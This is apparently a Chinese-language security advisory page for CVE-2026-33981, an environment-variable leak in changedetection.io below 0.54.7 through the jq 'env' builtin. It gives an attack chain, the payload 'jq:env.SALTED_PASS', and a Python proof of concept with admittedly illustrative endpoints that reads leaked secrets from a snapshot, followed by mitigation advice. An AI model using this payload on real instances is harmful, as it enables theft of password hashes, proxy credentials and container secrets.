IPBUF安全漏洞报告
English
CVE-2026-33981 CVSS 6.5 中危

CVE-2026-33981 changedetection.io 环境变量泄露漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33981
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
changedetection.io

相关标签

信息泄露环境变量泄露changedetection.ioCVE-2026-33981JQ

漏洞概述

changedetection.io是一款免费开源的网页变更检测工具。在0.54.7版本之前,其`jq:`和`jqraw:`包含筛选器表达式存在安全缺陷,允许使用`jq`的`env`内置函数。该漏洞使得经过身份验证的用户(或默认无密码配置下的未认证用户)能够通过该功能读取服务器端的所有进程环境变量。这会导致敏感信息泄露,包括密码哈希、代理地址及容器密钥。攻击者利用此漏洞可轻易获取高敏感度的配置数据。

技术细节

该漏洞的根源在于changedetection.io对`jq`过滤器的实现缺乏必要的安全限制。`jq`提供了一个内置函数`env`,专门用于读取调用进程的环境变量。在受影响版本中,应用在处理用户提供的`jq:`或`jqraw:`筛选器表达式时,未正确禁用该敏感内置函数。当用户配置监视任务时,若在筛选器字段中注入包含`env`的恶意表达式(例如`env.SALTED_PASS`),服务器端在执行该jq脚本时会将环境变量的值解析并作为快照的一部分返回给用户。由于默认配置下往往不需要身份验证,攻击者可轻易构造特殊请求,利用此机制窃取系统级敏感数据。受影响的数据包括用于身份验证的`SALTED_PASS`哈希值、Playwright驱动URL、HTTP代理凭证以及传递给容器的其他密钥。该漏洞主要威胁数据的机密性,虽然不会直接影响系统完整性或可用性,但可能导致服务器被进一步入侵。

攻击链分析

STEP 1
1. 发现目标
攻击者发现一个运行changedetection.io < 0.54.7的目标实例。
STEP 2
2. 访问应用
如果目标未设置密码(默认配置),攻击者直接访问Web界面或API;若设置了密码,则尝试猜测或获取凭证。
STEP 3
3. 构造恶意请求
攻击者创建或编辑一个监视任务,在'filter'字段中输入包含`env`内置函数的`jq`表达式,例如`jq:env.SALTED_PASS`。
STEP 4
4. 执行利用
保存配置并触发监视检查,服务器端执行`jq`脚本,由于未过滤`env`,系统将环境变量内容读取并输出到快照中。
STEP 5
5. 获取敏感信息
攻击者查看监视结果或快照,成功获取服务器的环境变量,包括敏感的密码哈希和API密钥。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-33981 # Demonstrates leaking SALTED_PASS via the 'env' builtin in jq filter. import requests TARGET = "http://target-ip:5000" # The malicious payload using the 'env' function # We target 'SALTED_PASS' which is the hashed password jq_payload = "env.SALTED_PASS" # Assuming we create or update a watch request # Endpoint structure is illustrative based on typical REST APIs headers = { "Content-Type": "application/json", # "Authorization": "Bearer <token>" # If auth is enabled } watch_data = { "url": "http://example.com", "title": "PoC Watch", "filter": f"jq:{jq_payload}" } # Step 1: Create/Update watch with malicious filter response = requests.post(f"{TARGET}/api/v1/watch", json=watch_data, headers=headers) if response.status_code == 200: print("Watch created/updated successfully.") # Step 2: Trigger a check to execute the filter watch_id = response.json().get("id") check_resp = requests.post(f"{TARGET}/api/v1/watch/{watch_id}/check", headers=headers) # Step 3: View the snapshot which now contains the leaked env var snapshot_resp = requests.get(f"{TARGET}/api/v1/watch/{watch_id}/snapshot", headers=headers) print("Snapshot content:") print(snapshot_resp.text) else: print(f"Failed to create watch: {response.text}")

影响范围

changedetection.io < 0.54.7

防御指南

临时缓解措施
如果无法立即升级,请务必为changedetection.io设置管理员密码,禁止未授权访问。同时,审查部署容器的环境变量,避免将敏感凭证直接以明文形式传递给环境变量,或使用密钥管理服务替代。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表